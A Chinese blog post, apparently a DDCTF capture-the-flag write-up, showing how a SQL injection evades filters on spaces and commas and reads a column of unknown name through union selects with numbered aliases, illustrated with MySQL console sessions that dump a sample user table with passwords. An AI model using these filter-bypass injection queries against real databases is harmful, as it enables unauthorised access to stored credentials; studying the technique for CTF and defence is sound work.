關(guān)于Mysql如何巧妙的繞過未知字段名的實例代碼詳解

這篇文章主要給大家介紹了mysql如何巧妙的繞過未知字段名的相關(guān)資料,文中給出了詳細(xì)的示例代碼供大家參考學(xué)習(xí),對學(xué)習(xí)mysql具有一定的參考學(xué)習(xí)價值,需要的朋友們下面來一起看看吧。

前言

本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機(jī)來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細(xì)的介紹:

實現(xiàn)思路

題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;

存放flag的字段名未知,inmysqlmation_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用mysql,過程如下:

思想就是獲取flag,讓其在已知字段名下出現(xiàn);

示例代碼:

mysql>?select?(select?1)a,(select?2)b,(select?3)c,(select?4)d;  +---+---+---+---+  |?a?|?b?|?c?|?d?|  +---+---+---+---+  |?1?|?2?|?3?|?4?|  +---+---+---+---+  1?row?in?set?(0.00?sec)  ?  mysql>?select?*?from?(select?1)a,(select?2)b,(select?3)c,(select?4)d;  +---+---+---+---+  |?1?|?2?|?3?|?4?|  +---+---+---+---+  |?1?|?2?|?3?|?4?|  +---+---+---+---+  1?row?in?set?(0.00?sec)  ?  mysql>?select?*?from?(select?1)a,(select?2)b,(select?3)c,(select?4)d?union?select?*?from?user;  +---+-------+----------+-------------+  |?1?|?2??|?3??|?4???|  +---+-------+----------+-------------+  |?1?|?2??|?3??|?4???|  |?1?|?admin?|?admin888?|?110@110.com?|  |?2?|?test?|?test123?|?119@119.com?|  |?3?|?cs?|?cs123?|?120@120.com?|  +---+-------+----------+-------------+  4?rows?in?set?(0.01?sec)  ?  mysql>?select?e.4?from?(select?*?from?(select?1)a,(select?2)b,(select?3)c,(select?4)d?union?select?*?from?user)e;  +-------------+  |?4???|  +-------------+  |?4???|  |?110@110.com?|  |?119@119.com?|  |?120@120.com?|  +-------------+  4?rows?in?set?(0.03?sec)  ?  mysql>?select?e.4?from?(select?*?from?(select?1)a,(select?2)b,(select?3)c,(select?4)d?union?select?*?from?user)e?limit?1?offset?3;  ?  +-------------+  |?4???|  +-------------+  |?120@120.com?|  +-------------+  1?row?in?set?(0.01?sec)  ?  mysql>?select?*?from?user?where?id=1?union?select?(select?e.4?from?(select?*?from?(select?1)a,(select?2)b,(select?3)c,(select?4)d  union?select?*?from?user)e?limit?1?offset?3)f,(select?1)g,(select?1)h,(select?1)i;  +-------------+----------+----------+-------------+  |?id???|?username?|?password?|?email??|  +-------------+----------+----------+-------------+  |?1???|?admin?|?admin888?|?110@110.com?|  |?120@120.com?|?1??|?1??|?1???|  +-------------+----------+----------+-------------+  2?rows?in?set?(0.04?sec)

總結(jié)

? 版權(quán)聲明
THE END
喜歡就支持一下吧
點贊5 分享